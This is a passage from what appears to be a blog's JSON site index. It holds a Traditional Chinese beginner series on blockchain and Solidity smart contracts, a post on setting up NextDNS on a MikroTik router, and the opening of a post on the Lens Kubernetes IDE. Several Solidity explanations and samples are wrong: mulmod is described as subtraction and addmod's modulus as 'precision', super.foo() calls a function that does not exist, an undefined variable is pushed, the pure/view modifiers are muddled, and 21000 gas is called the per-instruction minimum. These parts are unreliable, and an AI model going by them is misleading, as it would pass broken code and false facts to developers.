","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day19-contract-example-1-stackmoney/","summary":"\u003cp\u003e接下來幾天會來模擬一下，實際合約的案例，來更深入了解一下 solidity 語法\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day19] contract 案例1 搶紅包"},{"content":"花了幾天介紹 solidity 的基礎語法，接下來要開始嘗試寫一個智能合約看看，但是智能合約部署之前一定要先了解什麼是 Gas\n到底什麼是 Gas ，在區塊鏈中很重要的概念，任何操作中都是使用者付費了，包含你轉帳給任何人，或買賣任何以太幣都是需要支付 Gas 的。\n那我們接下來聊聊 Gas 是如何決定的，要先介紹兩個名詞 Gas Price \u0026amp; Gas Limit\nGas Price Gas Priec 就是使用者願意出的 Gas 單價，以 Gwei 為單位，礦工的邏輯會依據你出的 Gas Price 來排序，價錢越高的會越優先執行。\nGas Limit 就是一個保護機制，你可以設定一個交易 or 部署合約，最多花費多少，避免使用者寫出了一個有 bug 的合約，導致無窮盡的消耗資源在區塊鏈中，只要使用到資料就會一直付費，所以 Gas Limit 就是一個保護機制。\n但是也不能因為這樣刻意把 Gas Limit 調整得很低，因為這樣可能導致你的合約執行到一半，就踩到 Gas Limit 的限制，導致合約執行到一半就失敗。 有一點要注意，已經消耗掉的 Gas 是不會退還的。\nGas 手續費計算(Tx Fee) 最大手續費:\nGas Limit * Gas Price 實際手續費:\nGas Used * Gas Price 這邊有一個很特別的數字，就是每個指令最低的消耗 Gas 是 21000 Gas\n這邊了解後，明天開始我們就要開始在一開始有跟大家介紹到的工具 Granch，開始實戰一些智能合約看看。\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day18-what-is-gas/","summary":"\u003cp\u003e花了幾天介紹 solidity 的基礎語法，接下來要開始嘗試寫一個智能合約看看，但是智能合約部署之前一定要先了解什麼是 Gas\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day18] 智能合約中什麼是 Gas"},{"content":"今天來延續一點昨天聊到的 libraries 的另一個應用 using-for\nusing-for 的用法，先來看看下面範例\n這是從 官網，參考的一個範例\n// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; //定義一個 Data struct 裏面的有一個 mapping 的屬性 struct Data { mapping(uint =\u0026gt; bool) flags; } //這邊做了一些 mapping 的新增刪除的方法 library Set { function insert(Data storage self, uint value) public returns (bool) { if (self.flags[value]) return false; self.flags[value] = true; return true; } function remove(Data storage self, uint value) public returns (bool) { if (!self.flags[value]) return false; self.flags[value] = false; return true; } } contract C { using Set for Data; //這邊把 Set 指定給 Data //宣告一個 Data型別的變數 叫做 knowValues Data knownValues; function register(uint value) public { //這邊就可以直接使用 Insert的方法 require(knownValues.insert(value)); } } 這邊再補充一下，如果要從別的檔案載入 libraries ，就需要用到 import 這個指令，看一下下面的範例\nimport “filename”; 透過上述語法，就可以引入其他檔案的合約 \u0026amp; libraries 。\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day17-solidity-using-for/","summary":"\u003cp\u003e今天來延續一點昨天聊到的 libraries 的另一個應用 using-for\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day17] Solidity 教學 - using-for"},{"content":"今天來介紹一個 Solidity 的另一個特別的東西 libraries。\n下面來看看 library 的寫法範例\n// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; //定義一個Math library ，裡面有一個 add function。 library Math { function Add(uint a, uint b) public view returns (uint c) { return a+b; } } contract Main { function Test(uint a,uint b) public view returns (uint ){ // 這樣就能直接調用 Math裡的 Add function uint c = Math.Add(a,b); return c; } } 它的應用範圍很廣，可以把一些常用的東西抽象化成一個 library，也能減少重新部署程式碼所需消耗的資源跟 Gas，然後看它的調用方式，如果有寫過 OOP 應該很熟悉，它就是 solidity 裡的靜態類別，它是不需要任何實體化動作，就能直接做調用。\nlibiary 會有幾個限制。\n不能被繼承。 不能使用昨天所介紹過的 event 不能使用儲存功能，也就是不能在 library 儲存 state variables，但可以處理其他 constract 裏面的 state variables。 明天我們來介紹一個 library的延伸 using for的應用。\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day16-solidity-libraries/","summary":"\u003cp\u003e今天來介紹一個 Solidity 的另一個特別的東西 libraries。\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day16] Solidity 教學 - libraries"},{"content":"今天來介紹一下 solidity 裡面一個很特殊的東西 events。\n我們介紹了這幾天，都還沒有看到 solidity 提供的 logs 的使用法，solidity 的 logs 實現方法，就是要透過 events 來實現，當然 events 的功用不只這樣的功能，可以透過跟 web3 的合作達到事件監聽的作用，我們來看看下面範例。\n//定義一個 log event event log( string text ); //定義一個 function function Event() public { //透過emit 這樣就可以觸發 event emit log(\u0026#34;log somethimg\u0026#34;); } 當然上面會有人說，把 log 儲存在 state variables，就可以了，的確可以儲存在變數上面。但是在區塊鏈上，儲存在上面的資料都是需要成本的，像 log 資訊，這種相對沒那麼重要的資料，而且不需要變動的，就很適合透過 events 的機制去儲存它，不過透過 events 儲存的資料，不能夠過 constract 去調用它，只能透過 web3.js 從外部去調用。後續我們會介紹 web3.js 的應用，也就是本系列的重點之一 Dapp 另一個重點。\n明天我們來聊聊 solidity 最後幾個重點 libraries 。\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day15-solidity-events/","summary":"\u003cp\u003e今天來介紹一下 solidity 裡面一個很特殊的東西 \u003ccode\u003eevents\u003c/code\u003e。\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day15] Solidity 教學 - events"},{"content":"昨天聊過 abstract constract，今天來聊聊 interfaces。\n在 OOP 語言裡面很重要的一個東西 interfaces，在 solidity 也有提供相同的功能。下面來看看範例\n// SPDX-License-Identifier: GPL-3.0 pragma solidity \u0026gt;=0.6.2 \u0026lt;0.9.0; interface A { function test() external returns (uint256); } 在 interface 中一樣可以有繼承的概念，範例如下\n// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.3; interface A { function test() external returns (uint256); } interface B { function test() external returns (uint256); } interface C is A, B { function test() external override(A, B) returns (uint256); } 如何在 constract 實現 interface\n// SPDX-License-Identifier: MIT pragma solidity ^0.8.3; // 這是抽象合約 interface A { function Name() external returns (string memory); } contract B is A { function Name() public pure returns (string memory) { return \u0026#34;B\u0026#34;; } } 其實從上述範例中看到，其實跟 abstract contract 跟 interface 的用法其實是很像的。 大家可以比較看看。\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day14-solidity-interfaces/","summary":"\u003cp\u003e昨天聊過 abstract constract，今天來聊聊 interfaces。\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day14] Solidity 教學 - interfaces"},{"content":"今天來聊聊關於 contracts 的繼承\n關於 contracts 其實它是支援多重繼承，在這方面上是跟 python 是一樣的，它是透過關鍵字 is 來選擇要繼承的對象。我們看看下面的範例\n// SPDX-License-Identifier: MIT pragma solidity ^0.8.3; // 這是父層的合約 contract A { function Name() public pure virtual returns (string memory) { return \u0026#34;A\u0026#34;; } } //透過 is 的關鍵字 B 繼承 A ，然後透過 ovverride 複寫 Name() contract B is A { function Name() public pure virtual override returns (string memory) { return \u0026#34;B\u0026#34;; } } //跟上面一樣 複寫 Name() contract C is A { function Name() public pure virtual override returns (string memory) { return \u0026#34;C\u0026#34;; } } // 這個合約繼承 B 跟 C ，但合約繼承會從右邊為繼承，所以它的 override裏面的對象，會針對c 也就是它的 super 層會回覆 c contract D is B, C { //會回覆\u0026#34;C\u0026#34; function Name() public pure override(B, C) returns (string memory) { return super.foo(); } } 再來我們聊聊抽象合約，其實 solidity，有一個抽象合約的規格，我們看看下面範例\n// SPDX-License-Identifier: MIT pragma solidity ^0.8.3; // 這是抽象合約 abstract contract A { function Name() public pure virtual returns (string memory); } contract B is A { function Name() public pure override returns (string memory) { return \u0026#34;B\u0026#34;; } } 既然有 abstruct ，那就一定有 interface ，明天我們就來聊聊 interface。\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day13-solidity-contracts-2/","summary":"\u003cp\u003e今天來聊聊關於 contracts 的繼承\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day13] Solidity 教學 - contracts-2"},{"content":"今日來介紹 solidity 裡的 contracts。\ncontract contract 其實是一個類似於 class 的結構。下面我們還看一下範例\n// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; //這就是一個最簡單的宣告方式 contract User{ } 接下來我們示範一下有建構子的方式\n// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; //這就是一個最簡單的宣告方式 contract User{ //這是一個無參數的建構子宣告方式 constructor() public{} } 再來我們示範一下有建構子的表達方式\n// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; //這就是一個最簡單的宣告方式 contract User{ string name; //這是一個無參數的建構子宣告方式 constructor(string _name) { name = _name; } } 從外部調用合約的使用方式\nUser user = new User(\u0026#34;syhlion\u0026#34;) 明天我們來談談合約的繼承應用。\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day12-solidity-contracts-1/","summary":"\u003cp\u003e今日來介紹 solidity 裡的 contracts。\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day12] Solidity 教學 - contracts-1"},{"content":"今日來延續昨日沒有寫完的全域變數。\nError Handlin //裡面可以做一些條件判斷，如果為false，此次transcation會失敗，通常用於內部錯誤 assert(owner != msg.sender); //通常用於如果為false 則會還原狀態，通常拿來判斷輸入值對不對 require(owner != msg.sender); //同上，只是多了可以輸入自訂的錯誤訊息 require(owner != mag.sender,\u0026#34;not owner\u0026#34;); //執行會直接終止，並且恢復狀態。 revert(); // 同上，但也是可以自訂錯誤的訊息 revert(\u0026#34;revert\u0026#34;); 數學相關函式 // 此為加法，k 的參數為精度。 addmod(uint x, uint y, uint k) returns (uint) // 此為減法，k 一樣為精度。 mulmod(uint x, uint y, uint k) returns (uint) // 做sha256 運算 sha256(bytes memory) returns (bytes32) 其餘的全域變數 //當前位址餘額。 \u0026lt;address\u0026gt;.balance (uint256) //轉指定額度到該位址，如果失敗會恢復，此操作消耗2300 gas \u0026lt;address payable\u0026gt;.transfer(uint256 amount) //跟上面差不多，多了回傳 bool ，告知成功或失敗。 \u0026lt;address payable\u0026gt;.send(uint256 amount) returns (bool) 其他還有更多的介紹，這邊並沒有全部列出來，需要更多詳細的說明，建議直接上 官網 找資料\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day11-solidity-units-and-globally-available-variables-2/","summary":"\u003cp\u003e今日來延續昨日沒有寫完的全域變數。\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day11] Solidity 教學 - units and globally available variables-2"},{"content":"今日來介紹一些單位跟全域變數相關的東西\nEther Units 在任何數字後面加上 wei、gwei、ether 就會變成貨幣單位，預設就是 wei\nassert(1 wei == 1); assert(1 gwei == 1e9); assert(1 ether == 1e18); Time Units 在任何數字後面加上 seconds，就會變成時間相關參數，預設是 seconds\n1 == 1 seconds 1 minutes == 60 seconds 1 hours == 60 minutes 1 days == 24 hours 1 weeks == 7 days 其餘的全域變數 //目前的gas 值 block.gaslimit (uint) //目前的區塊編號 block.number (uint) //區塊難度 block.difficulty (uint) //區塊時間 block.timestamp //礦工的位址 block.coinbase (address) //目前chain id block.chainid (uint) //剩餘的gas gasleft() //發送訊息給function的位址 msg.sender (address) //完整的calldata msg.data (bytes) //發送多少以太幣 msg.value (uint) //交易的gas price tx.gasprice (uint) //交易發送者的位址 tx.origin (address) 明天再來介紹數學函示跟錯誤處理的相關函式。\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day10-solidity-units-and-globally-available-variables-1/","summary":"\u003cp\u003e今日來介紹一些單位跟全域變數相關的東西\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day10] Solidity 教學 - units and globally available variables-1"},{"content":"本日來介紹一下 solidity 的控制流程。\n學任何語言基本上都需要條件判斷式，那就稍微簡單介紹一下。\nif else uint total = 2; if (total \u0026gt; 1) { return \u0026#34;\u0026gt;1\u0026#34;; } else { return \u0026#34;\u0026lt;1\u0026#34;; } switch solidity 不像其他語言有 switch case 可以使用\nfor uint num = 0; for (uint i = 0; i \u0026lt; 10; i++) { num++; } while uint num = 0; while(num \u0026lt; 10) { num++; } do\u0026hellip;while uint num = 0; do { num++; } while(num \u0026lt; 10); ","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day9-solidity-control-flow/","summary":"\u003cp\u003e本日來介紹一下 solidity 的控制流程。\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day9] Solidity 教學 - control flow"},{"content":"今日來介紹 function 的語法結構\nfunction 裡面有三個很特別的保留字分別是 pure、view、payable，先看下面的簡單說明\nfunction 修飾詞 pure 它的用途是，如果該函式不會修改任何的狀態，就是用 pure\n用前兩天的例子來展示\ncontract test { struct Member { string name; string addr; } Member member; function setMember() public { member = Member(\u0026#39;syhlion\u0026#39;, \u0026#39;Taiwan\u0026#39;); } //它並沒有對任何狀態做改變 function getAddress() public view returns (string memory) { return member.addr; } } pure 當函式不讀取，不異動狀態就會用 pure，用上面的例子來說，它有用到 member.addr，所以它有讀取到狀態，必須使用 view\n// 這種完全沒有使用合約狀態的fucntion 才能使用 pure function plus(unint a,uint b) public pure returns(uint){ return a+b } payable 需要接收 ether 的 function 都需要標註上 payable\nfunction get(username) public payable{ } function 可視詞 一般語言裏面對 fucntion，也會有可視(visibility)的包留字，solidity 也不例外，有 public、private、internal、external\npublic 跟一般語言一樣，就是一個可以公開給大家呼叫的函式\nexternal 大致上跟 public 一樣，但會有一個小缺點，自己合約內要調用這種宣告的 function，會需要使用 this.f()\nprivate 就是私有函式，只能被自己合約所調用，也不會被繼承合約調用。\ninternal 跟 private 很類似，但是可以如果被別人繼承合約，是能夠調用父層的 function。\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day8-solidity-functions/","summary":"\u003cp\u003e今日來介紹 function 的語法結構\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day8] Solidity 教學 - functions"},{"content":"今日來介紹 Mapping Types\nMapping Types 它其實就是一個一般語言裡面的 hash table。它就是一個動態的陣列，key 裡面的東西不支援 enum \u0026amp; struct，value 裏面支援所有型別，也可以在自己包一個 mapping進去。\n先來看看語法\n//很標準的 key string , value uint的 map mapping(string =\u0026gt; uint) public wallet; //mapping 包 mapping的寫法 mapping(string =\u0026gt;mapping(string=\u0026gt;uint)) public test; //設定 mapping 裏面得值 wallet[\u0026#39;syhlion\u0026#39;]=100 //取mapping裏面得值 uint money = wallet[\u0026#39;syhlion\u0026#39;] 那目前 mapping 不支援 iterable，這邊有一個簡單的東西可以實作 iterable\n// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; contract MappingIterableExample { //先定義一個mapping mapping(string =\u0026gt; uint) public wallet; // 再用mapping的key值 多定義一個相同type的 array string[] usernames; //每次新增時，再array 同步把key push進去 function add(string username, uint amount) public { usernames.push(name); wallet[username] = amount; } function iterable() public { for (uint i = 0; i\u0026lt; usernames.length; i++) { // 透過 iterable array，來取 mapping得值 uint amount = wallet[usernames[i]]; } } } ","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day7-solidity-mapping-types/","summary":"\u003cp\u003e今日來介紹 Mapping Types\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day7] Solidity 教學 - Mapping Types"},{"content":"昨天看完value types，今天來聊聊 reference types。\nsolidity 的 reference types 有三個東西很特別我們需要先特別來認識一下\nmemory 預設 fuction 傳入跟 return 它們都是預設放在 memory\nstorage 預設的區域變數跟全域變數都是放在 storage\ncalldata 效果跟 memory 很接近，但是只有 read only。大部分是應用在參數傳入使用\n用下面例子兩個程式例子\n// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; contract hellotest { //這種就叫做 storage int[] public numbers; function Numbers() public { numbers.push(1); numbers.push(2); // 其實不用特意指定，它也是會storage int[] storage myArray = numbers; // 實質上會影響到 number myArray[0] = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; contract hellotest { int[] public numbers; function Numbers() public { numbers.push(1); numbers.push(2); //這種就是儲存在memory int[] memory myArray = numbers; //這個異動到的值其實沒有，影響到原本的number myArray[0] = 0; } } 上面介紹完，有別於一般於三種儲存狀態，再來介紹一些比較常見的 references-type\nArrays 很常見的宣告，基本上就常見的型別 T[N] 這種宣告方式就可以，下面有一些簡單的範例\nuint balance[10]; uint balance[3] = [1,2,3]; balance[2]=5; uint size = 3; uint balance[] = new uint[](size); Structs 這個如果善於寫 golang，應該都很熟悉，下面也來點簡單的介紹\n// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; contract test { struct Member { string name; string addr; } Member member; function setMember() public { member = Member(\u0026#39;syhlion\u0026#39;, \u0026#39;Taiwan\u0026#39;); } function getAddress() public view returns (string memory) { return member.addr; } } 明天會來介紹 mapping types。\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day6-solidity-reference-types/","summary":"\u003cp\u003e昨天看完value types，今天來聊聊 reference types。\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day6] Solidity 教學 - reference types"},{"content":"接下來幾天會花不少時間跟大家介紹 solidity 的語法介紹，今天會先介紹，學習一個語言很重要的型別\n其實 solidity 的 types 跟我自己熟悉的 golang 型別並沒有差異太多基本上都很 c++ like 的型別，我下面做了幾種分類\n數字相關 int8 public num = 66; // 8 bit int16 public num = 66; // 16 bit int256 public num = 66; //256 bit int public num = 66; // 預設不填寫就是 int256 uint8 public num = 66; //無負號 8 bit uint16 public num = 66; //無負號 16 bit uint256 public num = 66; //無負號 256 bit uint public num = 666; //預設不填寫 uint256 fixed128x18 public float = 16.6 // 這是solidity 很特別的浮點數相關的語法 `fixedMxN`，M是該類型的佔用位數，N是表示可用的小數位數。 ufixed128x18 public float = 16.6 // 同上只是無負號 布林值 bool public switch = true: bool public switch = false; 字串 string public word = \u0026#39;Hello World\u0026#39;; 位址 address public host = 0x121; // 最常應用的範圍拿來儲存以太的錢包位址 Enum enum Sex { Male Female } byte \u0026amp; bytes bytes1 public b; //這是指劃分1個byte solidty 有提供 bytes1 bytes2 bytes3.... bytes32，可以直接選擇 bytes public b; //這會依據你所給的數字，自動幫你劃分記憶體大小。 這邊只是先做一些簡單的 value types 的介紹，如果需要更詳盡的說明，包含一些語法版本的差異建議還是上官方文件，有更完整的說明。\n這邊使用的版本都是以 solidity v0.8.7 為範例\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day5-solidity-values-types/","summary":"\u003cp\u003e接下來幾天會花不少時間跟大家介紹 solidity 的語法介紹，今天會先介紹，學習一個語言很重要的型別\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day5] Solidity 教學 - values types"},{"content":"今天我們來實作第一個智能合約看看\n首先，要發布智能合約一定就要就要有區塊鏈，我們也不可能直接就真金白銀把合約部署到真實世界的鏈上面，所以我們需要一個開發環境的區塊鏈，那就是:\nGranache\nGranache 是一個有gui，而且 可以快速啟動的一個本機區塊鏈服務。先依據你的作業選擇安裝。打開會進入，預設會開啟10個帳號可以讓你測試使用\n預設要開幾個帳號，每個帳號多少錢，這都可以在設定裏面去做設定。\n再來有區塊鏈環境，接下來就是要能夠編寫跟 complie 的 ide 了。就是\nremix\nremix 是可以線上開發 solidity的ide，如果要搭配本機 Granache 做開發的話，要改用 http 連入喔，下面有額外說明。\n打開 remix 後，先去設定你的部署的區塊鏈，選擇web3 provider， Granache 預設 port 會開在 7545 ，所以只要把web3 provider endpoint 填入http://127.0.0.1:7545，這樣就可以了。如下圖所示\n因為瀏覽器的安全性設定，https 不能直接連到 http，本機的區塊鏈服務應該不會有人特別上 ssl，所以這種情況下，瀏覽器必須要選擇用 http 進入，也就是 http://remix.ethereum.org，不然你會無法根本機的區塊鏈做連結。 或是去它官方 https://github.com/ethereum/remix-project，也有提供本機安裝服務，這樣就能在本機環境啟動 remix ide。\n再來去工作區，新增一個helloworld.sol點的檔案\n// SPDX-License-Identifier: MIT pragma solidity ^0.8.3; contract HelloWorld { string public world = \u0026#34;helloworld\u0026#34;; function hi() public view returns (string memory){ return world; } } 語法我們後面章節再來逐一介紹\n新增完後，就可以直接按 compile，最後去上面設定 web3 provider 的地方，選擇 deploy，畫面上再切回 Granache ，去上面選單列的 transactions，就會看到如下圖\n由上圖也能看到第二列 current block 也由0 變成 1了。這樣就完成了第一個 smart constract 的部署。\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day4-first-smart-contract/","summary":"\u003cp\u003e今天我們來實作第一個智能合約看看\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day4] 第一個智能合約"},{"content":"今天來聊聊我們接下來的27天會環繞的議題，就是智能合約(samrt contract)。\n智能合約(smart contract) 到底什麼是智能合約(smart contract)呢？ 他是一種特殊的協定，是應用在區鏈內可以部署程式並且在裡面執行，所謂的合約就是程式的邏輯，可以透過這個合約(程式邏輯)，傳送、儲存、交易以太幣。\n智能合約(smart contract) 可以允許在沒有第三方監督的情況下，可以夠過交易雙方認定的條件，交易。這些交易是不可逆的，只要雙方合意此合約，都無法任意反悔。\nDAPP(Decentralized Application) DAPP 又稱去中心化的應用程式，就是透過智能合約的應用之一，部署在分散式網路上，所有的數據都是公開透明不可篡改，如果以遊戲為例，我們以往所知道的遊戲，會有一個中央集中控管的機器，來做統一的數據應用跟數據儲存，所以電子數據都是由遊戲公司所擁有，而且遊戲公司可以隨時任意修改遊戲內容。但如果是由DAPP所發展的遊戲，所有東西都是公開透明，規則也無法任意更改，所以有不少博弈遊戲看上這點，而在上面做發展。\nSolidity Solidity 是一種合約導向語言，它就是以太坊主要支持語言之一。它是一種靜態型別的語言，用於EVM(以太坊虛擬機)上面執行，他的發明者，基本上是參照 ECMAScript，所以對大部分Web開發者是相對友善的\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day3-what-is-smart-contract/","summary":"\u003cp\u003e今天來聊聊我們接下來的27天會環繞的議題，就是智能合約(samrt contract)。\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day3] 什麼是智能合約"},{"content":"今天來稍微簡單介紹一下區塊鏈的技術介紹。\n我們可以談談為什麼區塊鏈可以儲存數據，不用害怕被篡改，就是像下面這張圖的示意，基本上你很難竄改任何一個區塊的資料。\n因為你每個區塊的交易資料，會跟當下的時間，以及上一個區塊的 hash，重新組合成一個新的 hash。所以如果你要改動一個資料，你會需要整個上下游的區塊都要一併做更改，在技術上是很難達到的。這也就是區塊鏈的資料具有所謂的安全性，因為每一筆的交易資料，都會被串連起來，這就是區塊鏈之名的由來。\n下面我們來談談三個技術名詞 PoW (Proof of Work) \u0026amp; PoS (Proof of Stake) \u0026amp; DPoS (Delegated Proof of Stake)\nPoW 我們所知道的應用比特幣＆以太幣，都是採用這種共識法做出來的，他最簡單來說就是你出力越多你得到的越多。他的優點是安全，想要攻擊此種共識法，就是你必須佔領51%以上的資源，你才有辦法去左右這裡面的內容。但他相對應帶來的缺點也很巨大，就是非常浪費資源，而且確定交易速度非常緩慢。\nPoS PoW 是透過你付出資源越多來獲得獎勵，PoS則是透過你持有幣的數量來作為獎勵的依據，當你持有幣的數量越多，則擁有越高的機率取得創造區塊的權利。\nDPoS DPOS，保留了PoS節優點，並加入了代理人的概念，透過減少節點的數量，更是解決了PoW與PoS其中一個缺點，交易確認的時間過長的問題。不過這個其實有點違背去中心化的思維，畢竟多了一個代理人的制度。\n明天我們來談談以太坊的應用，智能合約到底是什麼東西\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day2-blockchain-technology-introduction/","summary":"\u003cp\u003e今天來稍微簡單介紹一下區塊鏈的技術介紹。\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day2] 區塊鏈技術介紹"},{"content":"又到了一年一度的鐵人賽，這幾年區塊鏈的議題，一起都有一定熱度，但自己本身一直都沒有什麼興趣，終於想說透過今年的鐵人賽，強迫自己好好認識區塊鏈\u0026amp;DAPP，相關應用。\n起源 區塊鏈的起源源自於計算機分散式計算中很有名的，拜占庭將軍問題(Byzantine Generals Problem)，\n下面引述 wiki\n一組拜占庭將軍分別各率領一支軍隊共同圍困一座城市。為了簡化問題，將各支軍隊的行動策略限定為進攻或撤離兩種。因為部分軍隊進攻部分軍隊撤離可能會造成災難性後果，因此各位將軍必須通過投票來達成一致策略，即所有軍隊一起進攻或所有軍隊一起撤離。因為各位將軍分處城市不同方向，他們只能通過信使互相聯絡。在投票過程中每位將軍都將自己投票給進攻還是撤退的資訊通過信使分別通知其他所有將軍，這樣一來每位將軍根據自己的投票和其他所有將軍送來的資訊就可以知道共同的投票結果而決定行動策略。\n大家看一下上面內容，應該有發現一個問題，如果將軍中出現叛徒，那個投票結果就會有所改變。所以區塊鏈是在既有的分散性中加入的加密性，加密就是為了保護如果有偽造投票，那怎麼讓共識可以正確的執行。\n特徵 去中心化 開放 獨立 安全 區塊鏈就是建構在去中心化，沒有一個統一的管理中心，所有東西都是一個共識投票的決定，所有的數據都是可以公開的，他的每個節點都可以獨立運作，只要攻擊者不是掌握50%以上的節點，基本上他無法竄改上面任何的資料。\n大家對於區塊鏈裏面的應用，最耳熟能詳的就是『比特幣』跟『以太幣』。\n後續大概在2008-2009，有一位在網路上自稱中本聰的人發表一篇論文『比特幣:一種點對點的電子現金系統』。後續就誕生了『比特幣』。\n在來到了大概是2013-2014年，以太幣受到了比特幣的啟發，並且多了很多相關應用，現在最知名的就是『智能合約』，接下來的30天的鐵人賽也會是以『以太幣』的平台『以太坊』以及智能合約相關應用去做一系列的學習筆記。\n","permalink":"https://blog.syhlion.tw/2021/09/2021-13th-ithome30day-day1-what-is-blockchain/","summary":"\u003cp\u003e又到了一年一度的鐵人賽，這幾年區塊鏈的議題，一起都有一定熱度，但自己本身一直都沒有什麼興趣，終於想說透過今年的鐵人賽，強迫自己好好認識區塊鏈\u0026amp;DAPP，相關應用。\u003c/p\u003e","title":"[區塊鏈\u0026DAPP介紹 Day1] 什麼是區塊鏈"},{"content":"最近無意見發現一個新的 DNS 服務，這個服務叫做 NextDNS ，它有非常強大的功能，簡單說它能夠擋廣告、擋追蹤、惡意的連結\u0026hellip;等等。所以研究了一下，下面先幫大家簡單介紹一下。\n我原本的手機跟電腦就有購買 adgurad 在使用，成效上我覺得很不錯，在搭配他們自己推出的 browser plugin，擋廣告的效果就已經很不錯了，但是 adguard 畢竟還是需要在你想使用的裝置上安裝才能使用，我想要更底層可以隔絕廣告，甚至一些追蹤跟惡意連結的地方，就發現 NextDNS。它可以透過查詢 DNS 的方式，阻擋這些攻擊或是跟蹤。至於他的查詢速度因為它在台灣也有設置 DNS server ，所以反應速度可以相當快，可以看下面這張，他們在全世界部署的地方。\n它們也支援 DoT (DNS-over-TLS) \u0026amp; DoH (DNS-over-HTTPS)，所以只要你的裝置支援，用這種加密的查詢，會更加保障你在網路上的私密性。但不支援也沒關係，它也支援傳統的 DNS 查詢方式。\n它的註冊方式非常的簡單，只要簡單的 email 就能完成註冊，註冊後進入管理介面，它的設定教學非常的詳細，也支援非常多種的方式，如下\nandriod iOS Windows macOS LInux Chrome OS Browser router 在 router 裡面支援相當多種不同廠牌的安裝方式\n就算不支援新型態的協定 DoT \u0026amp; DoH ，也可以用傳統的 DNS 方式去做喔。\n因為家裡是用 MikroTik 出的機器裡面是搭載 routeros ，所以只要使用下面指令\n/tool fetch url=https://curl.se/ca/cacert.pem /certificate import file-name=cacert.pem /ip dns set servers= /ip dns static add name=dns.nextdns.io address=45.90.28.0 type=A /ip dns static add name=dns.nextdns.io address=45.90.30.0 type=A /ip dns static add name=dns.nextdns.io address=2a07:a8c0:: type=AAAA /ip dns static add name=dns.nextdns.io address=2a07:a8c1:: type=AAAA /ip dns set use-doh-server=“https://dns.nextdns.io/{{your-code}}” verify-doh-cert=yes {{your-code}} 記得要用自己註冊完得到裝置號碼。\n然後如果要強制使用這個 router 出去的裝置，不想讓他們自行指定 DNS 的話，可以透過 DSTNAT 將區網內要查詢 53 port(tcp/udp) 的東西都轉到 router(192.168.88.1) 自己本身查詢 DNS\n我自己家的 router ip 是設定在 192.168.88.1，所以這個會依照各自需求去改\n/ip firewall NAT add action=dst-nat chain=dstnat comment=\u0026#34;force all 53 to router\u0026#34; dst-port=53 in-interface-list=LAN protocol=tcp to-addresses=192.168.88.1 /ip firewall NATadd action=dst-nat chain=dstnat dst-port=53 in-interface-list=LAN protocol=udp to-addresses=192.168.88.1 這樣家裡只要透過這台 router 連線網路的裝置，就都享有這個 DNS 防護的功能了。\n如果看完上面介紹，覺得蠻心動的話，可以透過我的推廣連結 https://nextdns.io/?from=xwyhqrrp，去註冊喔。\n","permalink":"https://blog.syhlion.tw/2021/04/how-to-use-nextdns-in-mikrotik/","summary":"\u003cp\u003e最近無意見發現一個新的 DNS 服務，這個服務叫做 \u003ca href=\"https://nextdns.io/\"\u003eNextDNS\u003c/a\u003e ，它有非常強大的功能，簡單說它能夠擋廣告、擋追蹤、惡意的連結\u0026hellip;等等。所以研究了一下，下面先幫大家簡單介紹一下。\u003c/p\u003e","title":"如何在MikroTik，裡面使用NextDNS"},{"content":"終於到了鐵人賽的最後一天，就來介紹另一套 k8s ide ，這跟前兩天介紹的 k9s 不一樣， k9s 是 cli 版的 ide，而 lens 則是一個大家熟悉的視窗版 ide 。 最後也會跟大家分享一下這 30 天的心得。\nlen 基本上是一個開源軟體，它的 repo 在這。\nMacOS 安裝起來也很簡單如下\n$ brew cask install lens 介面風格很像 visual studio code 這套微軟所出的 